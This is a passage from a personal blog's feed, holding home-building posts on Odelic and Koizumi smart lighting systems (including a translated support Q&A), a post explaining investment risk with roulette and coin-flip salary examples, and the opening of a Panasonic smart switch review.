&lt;p&gt;Also both apps have terrible ratings. Currently the Android app has 1.5 stars, and the iOS app has 1.7 starts (both out of 5, but 1 being the lowest it means most people gave it a 1).&lt;/p&gt;

&lt;h3 id=&quot;voice-control&quot;&gt;Voice control&lt;/h3&gt;

&lt;p&gt;Remember that there is no hub so the lights are not connected to the internet? This pretty much rules out any of the usual voice controls (Google Home, Alexa, etc.) (or so I thought, see later). Instead Odelic &lt;a href=&quot;https://www.odelic.co.jp/products/voicecontrol/&quot;&gt;made their own voice control device&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-26-odelic-connected-lighting/voice-control.png#lb&quot; alt=&quot;Bluetooth Voice Remote Controller - Good Design(?) (source: www.odelic.co.jp)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I didn’t have a chance to try it, but I found this official demo video:&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/mI3334lkeMo?si=o_g39Hg8qifvzMhm&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Despite the video looking like someone’s highschool project, the device looks pretty good. I wonder how well it really works in real life, and whether it works locally or connects to some server. Also there is no mention of supporting any language other than Japanese.&lt;/p&gt;

&lt;h3 id=&quot;smart-speaker-control&quot;&gt;Smart speaker control&lt;/h3&gt;

&lt;p&gt;Wait, doesn’t the FAQ say that the lights don’t connect to the internet so they can only be changed locally? Odelic came up with &lt;a href=&quot;https://www.odelic.co.jp/products/2019special/smart_speaker_control/&quot;&gt;a solution to make it work with smart speakers&lt;/a&gt;: they will sell you a tablet to bridge the gap.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-26-odelic-connected-lighting/tablet.png#lb&quot; alt=&quot;Want smart speaker support? Buy our tablet (source: www.odelic.co.jp)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I tried this tablet in the showroom and it was a simple Lenovo tablet with a custom app running on it (though the tablet might not be the same than the one they are selling). I couldn’t find the tablet from Odelic directly, but on &lt;a href=&quot;https://item.rakuten.co.jp/esco/rc913/&quot;&gt;Rakuten&lt;/a&gt; and &lt;a href=&quot;https://www.amazon.co.jp/ODELIC-%E3%82%AA%E3%83%BC%E3%83%87%E3%83%AA%E3%83%83%E3%82%AF-CONNECTED-LIGHTING%E5%B0%82%E7%94%A8-Bluetooth%E5%AF%BE%E5%BF%9C/dp/B01IGQWPAC&quot;&gt;Amazon&lt;/a&gt; it is being sold for around 57,000 yen.&lt;/p&gt;

&lt;p&gt;There are actually 3 apps for the tablet: for home, for shop, and for office:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-26-odelic-connected-lighting/apps.png#lb&quot; alt=&quot;The 3 types of apps - unclear if all come with the tablet, or only one&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The tablet in the showroom had the Home version, and it felt pretty utilitarian (lot of details, not much design or animations). Here is a photo of it that I took:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-26-odelic-connected-lighting/showroom-tablet.png#lb&quot; alt=&quot;My photo of the tablet in the showroom&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The buttons worked as advertised, but there was no Google Home to test that integration with.&lt;/p&gt;

&lt;h3 id=&quot;echonet-lite-and-home-assistant-support&quot;&gt;ECHONET Lite and Home Assistant support&lt;/h3&gt;

&lt;p&gt;I couldn’t find anything to this extent. Considering that without the tablet the lights are Bluetooth-only, I don’t expect ECHONET Lite support. Though the tablet seem to be pulling data from other ECHONET Lite devices, so they might add support for it in the future.&lt;/p&gt;

&lt;p&gt;I also couldn’t find Home Assistant support yet, even though that could work via Bluetooth as well.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We really loved the design of the Odelic lights, so we will likely get a few from them (and all of those will be the Connected Lighting version). I wish their software support would be better, and I’m hoping I can connect them to Home Assistant somehow, as without that we would need to buy their overprice remote controllers or tablet.&lt;/p&gt;

&lt;p&gt;One more thing: the &lt;a href=&quot;https://www.odelic.co.jp/showroom/reserve.html&quot;&gt;Odelic showroom&lt;/a&gt; was great! It’s a bit out of the way, but they had many lights (and the full fleet of smart controllers), the staff was helpful and ready to answer our questions, and they even had a playroom for kids.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>TRee: Koizumi's smart light system</title>
   <link href="https://szabo.jp/2025/01/25/tree-koizumi-smart-lights/"/>
   <updated>2025-01-25T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/01/25/tree-koizumi-smart-lights</id>
   <content type="html">&lt;p&gt;We are building a house, and I recently &lt;a href=&quot;/2024/07/28/smart-lights-overview/&quot;&gt;looked into smart lighting and light switches&lt;/a&gt; concluding that the best option for us was likely Panasonic’s Advance Series Link Plus, which later &lt;a href=&quot;/2024/11/10/panasonic-advance-series-link-plus/&quot;&gt;I did a deep-dive on&lt;/a&gt;. Then we started looking at the actual lights to see what fits with our design, and found Panasonic’s offerings underwhelming. This made us look at other manufacturers, namely Koizumi and Odelic. They both have smart lights, so I will share what I learned about each, started with Koizumi.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;the-system-tree&quot;&gt;The system: TRee&lt;/h2&gt;

&lt;p&gt;Koizumi’s smart lighting solution is called &lt;a href=&quot;https://www.koizumi-lt.co.jp/product/jyutaku/tree/&quot;&gt;TRee&lt;/a&gt; (good luck trying to search it). It’s a pretty usual system: smart switches, smart lights, and hubs. They have a wired and a wireless setup each with their own set of switches (which doesn’t seem to be cross-compatible due to the different connection to the hub).&lt;/p&gt;

&lt;p&gt;In the wired setup the hub is called Smart Adapter (スマートアダプタ, AE49233E):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-25-tree-koizumi-smart-lights/wired.png#lb&quot; alt=&quot;The wired setup from https://www.koizumi-lt.co.jp/product/jyutaku/tree/&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the wireless setup the hub is called Smart Bridge (スマートブリッジ, AE50264E), and despite its wireless nature, it still needs an Ethernet cable to connect to the network (similar to Panasonic’s solution).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-25-tree-koizumi-smart-lights/wireless.png#lb&quot; alt=&quot;The wireless setup from https://www.koizumi-lt.co.jp/product/jyutaku/tree/&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I asked Koizumi what the difference is between these two systems, and they said there is no difference:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;スマートブリッジ（AE50264E）とスマートアダプタ（AE49233E)は TReeシステムを使用する上で違いはございません&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;wireless-switches&quot;&gt;Wireless switches&lt;/h2&gt;

&lt;h3 id=&quot;light-controller-ライトコントローラ&quot;&gt;Light Controller ライトコントローラ&lt;/h3&gt;

&lt;p&gt;These look like regular switches, but all of them are touch type (which made us not even consider them as we want real switches).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-25-tree-koizumi-smart-lights/light-controllers.png#lb&quot; alt=&quot;The 3 types of Light Controllers. They are also available in black&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10106146&quot;&gt;AE50267E&lt;/a&gt;: white, on/off (same in black: &lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10106149&quot;&gt;AE50270E&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10106147&quot;&gt;AE50268E&lt;/a&gt;: white, dimmable (same in black: &lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10106150&quot;&gt;AE50271E&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10106148&quot;&gt;AE50269E&lt;/a&gt;: white, dimmable (same in black: &lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10106151&quot;&gt;AE50272E&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;memory-light-controller-メモリーライトコントローラ&quot;&gt;Memory Light Controller メモリーライトコントローラ&lt;/h3&gt;

&lt;p&gt;These look even less like switches.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-25-tree-koizumi-smart-lights/memory-light-controllers.png#lb&quot; alt=&quot;The Memory Light Controller&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://webcatalog.koizumi-lt.co.jp/kensaku/item/detail/id/5092730000&quot;&gt;AE50265E&lt;/a&gt; (&lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10106144&quot;&gt;shop&lt;/a&gt;) (same in black: &lt;a href=&quot;https://www.lightstyle.jp/?cn=100026&amp;amp;shc=10106145&quot;&gt;AE50266E&lt;/a&gt;)&lt;/p&gt;

&lt;h2 id=&quot;wired-switches&quot;&gt;Wired switches&lt;/h2&gt;

&lt;h3 id=&quot;smart-switch-スマートスイッチ&quot;&gt;Smart Switch スマートスイッチ&lt;/h3&gt;

&lt;p&gt;Seems like it’s only available in a single version: white and one button: &lt;a href=&quot;https://webcatalog.koizumi-lt.co.jp/kensaku/item/detail/id/4544440000&quot;&gt;AE49235E&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-25-tree-koizumi-smart-lights/smart-switch.jpg#lb&quot; alt=&quot;The Smart Switch&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;memory-light-controller-メモリーライトコントローラ-1&quot;&gt;Memory Light Controller メモリーライトコントローラ&lt;/h3&gt;

&lt;p&gt;Multi-button panel like the other memory light controller. Only one option &lt;a href=&quot;https://webcatalog.koizumi-lt.co.jp/kensaku/item/detail/id/4544450000#!cursor=13116128&amp;amp;view=list&quot;&gt;AE49236E&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-25-tree-koizumi-smart-lights/wired-memory-light-controller.jpg#lb&quot; alt=&quot;The wired Memory Light Controller&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;smart-lights&quot;&gt;Smart lights&lt;/h2&gt;

&lt;p&gt;They have many smart lights, so I’ll just pick one example, a spot light meant to be on rails (&lt;a href=&quot;https://webcatalog.koizumi-lt.co.jp/kensaku/item/detail?itemid=AS56297&quot;&gt;AS56297&lt;/a&gt;):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-25-tree-koizumi-smart-lights/spotlight.jpg#lb&quot; alt=&quot;AS56297 スポットライト&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The interesting thing is that the light itself seem to have Bluetooth and allows adjusting not just the brightness but also the color temperature. I wonder if this is compatible with one of the dimmer switches (out of the 2 light controllers). The first says 調光タイプ(逆位相制御方式), which is the usual dimmer switch (and thus likely incompatible with smart lights like this), but the other type says &lt;a href=&quot;https://www.koizumi-lt.co.jp/product/jyutaku/fitcolor/&quot;&gt;Fit調色タイプ&lt;/a&gt; which might be a more likely to work with some lights, although this specific light doesn’t mention Fit調色 on its page.&lt;/p&gt;

&lt;h2 id=&quot;echonet-lite-and-home-assistant-support&quot;&gt;ECHONET Lite and Home Assistant support&lt;/h2&gt;

&lt;p&gt;TRee’s website says that &lt;a href=&quot;https://www.koizumi-lt.co.jp/product/jyutaku/tree/hems.html&quot;&gt;the system support ECHONET Lite&lt;/a&gt; and the &lt;a href=&quot;https://github.com/scottyphillips/echonetlite_homeassistant&quot;&gt;echonetlite_homeassistant&lt;/a&gt; lists the smart bridge (AE50264E) as a supported device.&lt;/p&gt;

&lt;h2 id=&quot;asking-koizumi-support&quot;&gt;Asking Koizumi support&lt;/h2&gt;

&lt;p&gt;Unfortunately the &lt;a href=&quot;https://www.koizumi-lt.co.jp/showroom/tokyo.html&quot;&gt;Koizumi showroom&lt;/a&gt; is mainly aimed at companies, and is only open on weekdays, so I couldn’t visit. But they have an &lt;a href=&quot;https://www.koizumi-lt.co.jp/form/seihin/&quot;&gt;online form for product questions&lt;/a&gt; that I submitted. Here are my questions and their answers:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Topic&lt;/th&gt;
      &lt;th&gt;Japanese&lt;/th&gt;
      &lt;th&gt;English&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Hubs&lt;/td&gt;
      &lt;td&gt;スマートブリッジ（AE50264E）とスマートアダプタ（AE49233E)にはどのような違いがありますか？採用する場合はどちらも必要か、それともどちらか一つで良いでしょうか？&lt;/td&gt;
      &lt;td&gt;What’s the difference between スマートブリッジ (AE50264E) and スマートアダプタ (AE49233E)? Do we need both or is one of them enough?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;スマートブリッジ（AE50264E）とスマートアダプタ（AE49233E)はTReeシステムを使用する上で違いはございません。&lt;br /&gt;但し、スマートブリッジ（AE50264E）は「ライトコントローラ」と無線接続を行う必要が有るので、「ライトコントローラ」の近くに設置頂く必要がございます。&lt;/td&gt;
      &lt;td&gt;There is no difference between the Smart Bridge (AE50264E) and the Smart Adapter (AE49233E) when using the TRee system. &lt;br /&gt;However, the Smart Bridge (AE50264E) needs to connect wirelessly to the “Light Controller”, so it needs to be installed near the “Light Controller”.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Smart switch&lt;/td&gt;
      &lt;td&gt;スマートスイッチ (AE49235E) は、他社製の照明と互換性があり連動しますか？また、スマートスイッチは「ライトコントローラー」とどのように違いますか？スマートスイッチには、ダイヤルスイッチやダブルスイッチなどの選択肢もありますか？&lt;/td&gt;
      &lt;td&gt;Is the スマートスイッチ (AE49235E) compatible with lights made by other companies? How is this switch different from ライトコントローラ? Is it available in any other form (e.g. dimmable, double) or color?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;スマートスイッチ (AE49235E)は、弊社の適合する照明器具としか使用出来ず、他社製照明器具との適合確認は行っておりません。スマートスイッチ (AE49235E)は、照明器具のON/OFFしか出来ません。&lt;/td&gt;
      &lt;td&gt;The Smart Switch (AE49235E) can only be used with lighting fixtures that are compatible with our company, and we have not confirmed compatibility with lighting fixtures made by other companies. The Smart Switch (AE49235E) can only turn lighting fixtures on and off.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Light controller&lt;/td&gt;
      &lt;td&gt;ライトコントローラ (AE50267E, AE50268E, AE50269E) は、他社製の照明と互換性があり、連動しますか？また、スイッチのボタンはすべて「タッチ式」で、それ以外はないのでしょうか？&lt;/td&gt;
      &lt;td&gt;Are the ライトコントローラ (AE50267E, AE50268E, AE50269E) compatible with lights made by other companies? Do they have a non-touch version with a normal button?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;ライトコントローラ (AE50267E, AE50268E, AE50269E) も、弊社の適合する照明器具としか使用出来ず、他社製照明器具との適合確認は行っておりません。全て操作はタッチ式になります。&lt;/td&gt;
      &lt;td&gt;The light controllers (AE50267E, AE50268E, AE50269E) can only be used with lighting fixtures that are compatible with our company, and we have not confirmed compatibility with lighting fixtures made by other companies. All operations are touch-type.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Memory light controller&lt;/td&gt;
      &lt;td&gt;メモリーライトコントローラ (AE50265E) は、他社製の照明と互換性があり、連動しますか？&lt;/td&gt;
      &lt;td&gt;Are the メモリーライトコントローラ (AE50265E) compatible with lights made by other companies?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;メモリーライトコントローラ (AE50265E) も、弊社の適合する照明器具としか使用出来ず、他社製照明器具との適合確認は行っておりません。&lt;/td&gt;
      &lt;td&gt;The Memory Light Controller (AE50265E) can only be used with lighting fixtures that are compatible with our company, and we have not confirmed compatibility with lighting fixtures made by other manufacturers.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Smart lights&lt;/td&gt;
      &lt;td&gt;御社のスマートライトは、他社製のスイッチ（Panasonicのスイッチなど）と連動しますか？例えば、他社製の照明スイッチに接続されたダクトレールに、Koizumiのスポットライト（AS56297）を設置した場合、TReeアプリやGooglehomeを使って照明の調整が可能ですか？&lt;/td&gt;
      &lt;td&gt;Are the smart lights compatible with switches made by other companies? E.g. if I add  AS56297 (duck rail spot light) to a rail that’s connected to a normal light switch made by another company, can I use the TRee app and Google Home to adjust the brightness and color of the light?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;スポットライト（AS56297）は、通常のON/OFFスイッチにしか組合せ出来ませんが、ON/OFFスイッチであれば他メーカーのスイッチでも問題ございません。別売のBluetooth対応スマートブリッジ【AE54355E】と「TRee plus」で設定頂く事で、Googlehomeで音声操作頂く事が可能です。&lt;/td&gt;
      &lt;td&gt;The spotlight (AS56297) can only be paired with a regular ON/OFF switch, but other manufacturers’ ON/OFF switches are also fine. By setting up the separately sold Bluetooth-enabled smart bridge [AE54355E] and “TRee plus”, you can control it with your voice using Google Home.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;When the WiFi or hub is down&lt;/td&gt;
      &lt;td&gt;スマートブリッジやWifiが動かない時でも、スマートスイッチ、ライトコントローラー、 メモリーライトコントローラは、普通のスイッチとして、照明をつけたり消したりできますか？&lt;/td&gt;
      &lt;td&gt;Do the スマートスイッチ, ライトコントローラ, メモリーライトコントローラ still work if the hub or WiFi is not working? Will pressing the button turn on/off the light?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;スマートブリッジやWiFiが動かない場合でも、スマートスイッチ・ライトコントローラ・メモリライトコントローラで手動操作は可能です。&lt;/td&gt;
      &lt;td&gt;Even if the Smart Bridge or WiFi doesn’t work, you can still operate it manually using the Smart Switch, Light Controller, and Memory Light Controller.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;deprecation-notice&quot;&gt;Deprecation notice&lt;/h3&gt;

&lt;p&gt;At the end of their email they added this additional note:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;なお、スマートブリッジ（AE50264E）ライトコントローラ (AE50267E, AE50268E, AE50269E)メモリーライトコントローラ (AE50265E)につきましては、すべて生産完了品になります。&lt;/p&gt;

  &lt;p&gt;現行製品はBluetooth対応器具となっており、それぞれの後継品は下記となります。&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;スマートブリッジ（AE50264E）→【AE54355E】&lt;/li&gt;
    &lt;li&gt;ライトコントローラ (AE50267E）→【AE54345E】（AE50268E）→【AE54344E】（AE50269E) →【AE54343E】&lt;/li&gt;
    &lt;li&gt;メモリーライトコントローラ（AE50265E）→【AE54341E】&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;になります。&lt;/p&gt;

  &lt;p&gt;Bluetooth版TReeシステムにつきましては、以下URL　WEBカタログ内の、「照明制御システム（ツリー）Bluetooth対応　ライトコントローラー　2023年10月 価格改訂版」をご確認いただきますようお願いいたします。&lt;/p&gt;

  &lt;p&gt;URL：https://www.koizumi-lt.co.jp/product/webcatalog/index.html&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Translated:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Please note that the Smart Bridge (AE50264E), Light Controller (AE50267E, AE50268E, AE50269E), and Memory Light Controller (AE50265E) are all discontinued products.&lt;/p&gt;

  &lt;p&gt;The current products are Bluetooth-compatible devices, and their successors are as follows.&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;Smart Bridge (AE50264E) → [AE54355E]&lt;/li&gt;
    &lt;li&gt;Light Controller (AE50267E) → [AE54345E] (AE50268E) → [AE54344E] (AE50269E) → [AE54343E]&lt;/li&gt;
    &lt;li&gt;Memory Light Controller (AE50265E) → [AE54341E]&lt;/li&gt;
  &lt;/ul&gt;

  &lt;p&gt;For details about the Bluetooth version of the TRee system, please see the “Lighting Control System (Tree) Bluetooth-Compatible Light Controller October 2023 Price Revised Edition” in the web catalog at the following URL.&lt;/p&gt;

  &lt;p&gt;URL: https://www.koizumi-lt.co.jp/product/webcatalog/index.html&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;my-conclusion&quot;&gt;My conclusion&lt;/h2&gt;

&lt;p&gt;For us having physical buttons (non touch types) was important, which already disqualified most of the Koizumi’s offerings.&lt;/p&gt;

&lt;p&gt;Moreover their system is a overcomplicated:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;wired and wireless being supported in parallel&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.koizumi-lt.co.jp/support/question/faq_tree_zigbee.html&quot;&gt;old system using zigbee&lt;/a&gt; while the &lt;a href=&quot;https://www.koizumi-lt.co.jp/support/question/faq_tree.html&quot;&gt;new is using bluetooth&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;even their &lt;a href=&quot;https://www.koizumi-lt.co.jp/product/jyutaku/tree/&quot;&gt;own main marketing page&lt;/a&gt; is showing model numbers that customer service is saying are discontinued&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;which combined with their higher price point than Panasonic and no clear benefit that I could see mean that I would recommend Panasonic’s Advance Series Link Plus to most people and I won’t be looking deeper into Koizumi’s smart switches.&lt;/p&gt;

&lt;p&gt;We might still choose some smart lights from Koizumi and use their hub to control them remotely (which they confirmed should work with switches from another company), but we won’t be using their smart switches.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>On investment risk</title>
   <link href="https://szabo.jp/2024/12/08/on-investment-risk/"/>
   <updated>2024-12-08T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/12/08/on-investment-risk</id>
   <content type="html">&lt;p&gt;This is something that I have been trying to wrap my head around for a while: people say that the &lt;a href=&quot;https://www.youtube.com/watch?v=Yl3NxTS_DgY&quot;&gt;global stock market returns around 5% yearly&lt;/a&gt; (on top of inflation, based on the last 100 year), but it’s still risky and the risk is the volatility: the stock returns change a lot year over year, but on the long run they average out. But if the returns average out, then as long as I don’t check my portfolio daily and make bad decisions on short-term swings, I should be fine, right? If yes, then where is the risk? And in general how is volatility the same as risk?&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;roulette&quot;&gt;Roulette&lt;/h2&gt;

&lt;p&gt;There is an inherent randomness in investment returns, so I will use gambling examples to account for this. Let’s start with &lt;a href=&quot;https://en.wikipedia.org/wiki/Roulette#Roulette_wheel_number_sequence&quot;&gt;roulette&lt;/a&gt;: it has numbers from 1 to 36 (half the numbers are red and the others are black), and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;00&lt;/code&gt; which are both green. One can bet on black or red and if the ball stops on a number of that color, it pays out double the amount. E.g. betting 100 on black can have two outcomes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the ball stops on black, then you get 200 (the original 100 plus an extra 100) (+100)&lt;/li&gt;
  &lt;li&gt;the ball stops on red or green, then you get nothing (-100)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The chance of winning is 18/38 = 47.37% (there are 18 black and 38 spots overall), the chance of loosing is 52.63%. So the expected return is 2*47.37%=0.95 for every 1 money played. This means that playing this long enough, you are guarantee to loose: play it for 1000 times and you will win approximately 474 times and loose 526, and since one loss cancels out one win, you are left with 52 losses. This is to be expected: the casino has to make money, and this is their built-in advantage. Your only chance is to get lucky and win early, then stop playing before the rule of large numbers catches up and pushes you towards the average.&lt;/p&gt;

&lt;p&gt;But long term investing is meant to have a positive expected return, and not just be gambling. So let’s see an example with positive expected return and risk.&lt;/p&gt;

&lt;h2 id=&quot;generous-boss&quot;&gt;Generous boss&lt;/h2&gt;

&lt;p&gt;Your boss makes everyone at the company an offer: you can join the new compensation scheme where at the end of each month he flips a coin, and if it’s head, then you get 2.5x your normal salary, but if it’s tail, then you get no salary that month.&lt;/p&gt;

&lt;p&gt;So you have 50% chance of 2.5x salary and 50% chance of nothing, compared to 100% getting exactly your salary. The expected return of the proposed scheme is higher: on average you will win every second month, so in 2 months you would get 2.5 salaries instead of 2 salaries. The expected return is 1.25 salary per month.&lt;/p&gt;

&lt;p&gt;So looking at this purely from the expected returns, it would be foolish not to participate. However there is another side of this: the risk of being unlucky multiple times in a row. Let’s say you have a good emergency fund saved up and/or a household with multiple incomes, so you will be fine even if you don’t get your salary for 3 months straight. What is the chance that you get tail on the coin flip 4 times? (0.5)&lt;sup&gt;4&lt;/sup&gt;=6.25%. This is a small chance, but if there are 20 people taking this offer, one of them will hit it (on average) in the first 4 months.&lt;/p&gt;

&lt;p&gt;But let’s say you have 6 month buffer, so you decide to take this offer. It is within your risk tolerance.&lt;/p&gt;

&lt;p&gt;Meanwhile a colleague of yours just bought an expensive house, so most of their savings went against the down-payment and now they are on the hook for the mortgage. They decide to stay with the regular monthly salary, as this extra risk just doesn’t fit into their situation right now (doesn’t worth risking loosing your home over a 25% raise).&lt;/p&gt;

&lt;h2 id=&quot;generous-boss-2&quot;&gt;Generous boss 2&lt;/h2&gt;

&lt;p&gt;Your boss offers another compensation scheme option: at the end of the month you will roll two dices. If both are 6, then you get 100x your normal salary. If it’s anything else, then you get nothing.&lt;/p&gt;

&lt;p&gt;The first dice can be anything 1 to 6, the second similarly, so there are 36 potential outcomes and only one wins. Thus the chance of winning is 1/36=2.78%. The payout is 100 salary, so the expected return is 100*2.78%=2.78 salary per month, almost 3 times the normal salary.&lt;/p&gt;

&lt;p&gt;However it comes with a huge risk: on average one wins once every 36 times, so once every 3 years. The chances of not winning for 5 years is still (35/36)&lt;sup&gt;5*12&lt;/sup&gt;=18.4%, so one in 5 people will get no salary for 5 years.&lt;/p&gt;

&lt;p&gt;That’s just something most people can’t afford to take on (unless they are already wealthy or have other income cover their daily living costs). So while this is an even better option than the previous one, most people will have to decline.&lt;/p&gt;

&lt;h2 id=&quot;diversification-the-free-lunch&quot;&gt;Diversification: the free lunch&lt;/h2&gt;

&lt;p&gt;There is a way to reduce the risk in the above scenarios: assuming the boss flips a coin / rolls the dice once with each employee, if you and your colleagues agree to pool the money you receive each month and split it equally among all of you, then the risk goes down: even if some of you get unlucky, it is unlikely that at least a few people wouldn’t win, and then you go home with at least half a salary.&lt;/p&gt;

&lt;p&gt;Increasing the number of participants reduces the risk further making the monthly payouts closer to the expected return. This is a similar reason why people say that &lt;a href=&quot;https://books.forbes.com/author-articles/diversification-is-the-only-free-lunch/&quot;&gt;“diversification is the only free lunch” in investing&lt;/a&gt;. However while in our example the coin flips are independent (so the chance of all coin flips loosing gets very low as the number of flips go up), stock returns are somewhat correlated: while investing in both McDonald’s and Burger King means that regardless of who’s next burger sells more, at least one will pay out, there is still a chance that people will switch to healthier alternatives, and both burger chains will struggle. To compensate for this, one could invest in &lt;a href=&quot;/2023/11/16/new-nisa-plans/&quot;&gt;literally all companies of the worlds&lt;/a&gt; (all publicly traded, that is), but in an economic downturn people simply have less money to spend, so the sales (and thus the profits) of all companies can suffer at the same time. So while diversification reduces the company-specific, &lt;a href=&quot;https://www.investopedia.com/terms/i/idiosyncraticrisk.asp&quot;&gt;idiosyncratic risk&lt;/a&gt;, there is always some &lt;a href=&quot;https://www.investopedia.com/terms/s/systematicrisk.asp&quot;&gt;systematic risk&lt;/a&gt; remaining.&lt;/p&gt;

&lt;p&gt;And that’s how I got to understand the relationship between expected returns and risk.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Testing the Panasonic Advance Series Link Plus smart light switches</title>
   <link href="https://szabo.jp/2024/11/10/panasonic-advance-series-link-plus/"/>
   <updated>2024-11-10T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/11/10/panasonic-advance-series-link-plus</id>
   <content type="html">&lt;p&gt;We are building a house, and I recently &lt;a href=&quot;/2024/07/28/smart-lights-overview/&quot;&gt;looked into smart lighting and light switches&lt;/a&gt; concluding that the best option for us is likely Panasonic’s &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/advance/lineup/linkplus/&quot;&gt;Advance Series Link Plus&lt;/a&gt; switches (アドバンスシリーズ リンクプラス). I got my hands on two of the switches and in this post I’ll share what I learned from testing them out.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;getting-the-switches&quot;&gt;Getting the switches&lt;/h2&gt;

&lt;p&gt;As in the previous post it became clear, smart switches are expensive. So before dropping the price of 2 iPhones on this, I wanted to make sure that it will work as I expect it to. We called the Tokyo Panasonic Showroom and asked if they had this line up, but they told us that none of the showrooms in Tokyo had any light switches. I also checked in Yodobashi Camera’s website and while they sell them, they also don’t have them in any of there stores in Tokyo.&lt;/p&gt;

